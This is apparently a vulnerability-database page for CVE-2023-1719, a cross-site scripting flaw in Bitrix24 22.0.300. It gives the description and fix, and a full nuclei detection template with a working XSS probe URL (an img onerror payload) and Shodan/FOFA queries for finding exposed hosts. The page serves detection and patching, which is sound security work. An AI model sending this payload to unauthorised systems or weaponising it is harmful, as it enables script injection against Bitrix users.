HexBrain

Browse / CVEs / CVE-2023-1719

CVE-2023-1719· bitrix24 / bitrix24· CWE-665

Bitrix Component - Cross-Site Scripting

criticalseverity
9.8CVSS score
6.3%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.

Impact

Unauthenticated attackers can inject malicious JavaScript and potentially execute arbitrary PHP code if the victim has administrator privileges, compromising the entire Bitrix24 collaboration platform and accessing sensitive business data.

Fix

Update Bitrix24 to a version newer than 22.0.300 that properly initializes variables and sanitizes input in the bitrix/modules/main/tools.php component.

How to confirm it

Send: GET {{BaseURL}}/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1>
Positive when: contains "'LOG_CNT':" and "<img onerror=alert(document.domain) src=1>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-1719 -u <target>

The full check
id: CVE-2023-1719

info:
  name: Bitrix Component - Cross-Site Scripting
  author: DhiyaneshDk
  severity: critical
  description: |
    Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript and potentially execute arbitrary PHP code if the victim has administrator privileges, compromising the entire Bitrix24 collaboration platform and accessing sensitive business data.
  remediation: |
    Update Bitrix24 to a version newer than 22.0.300 that properly initializes variables and sanitizes input in the bitrix/modules/main/tools.php component.
  reference:
    - https://starlabs.sg/advisories/23/23-1719/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1719
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1719
    cwe-id: CWE-665
    epss-score: 0.06262
    epss-percentile: 0.93623
    cpe: cpe:2.3:a:bitrix24:bitrix24:22.0.300:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bitrix24
    product: bitrix24
    shodan-query:
      - html:"/bitrix/"
      - http.html:"/bitrix/"
    fofa-query: body="/bitrix/"
  tags: cve2023,cve,bitrix,xss,bitrix24,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'LOG_CNT':"
          - "<img onerror=alert(document.domain) src=1>"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from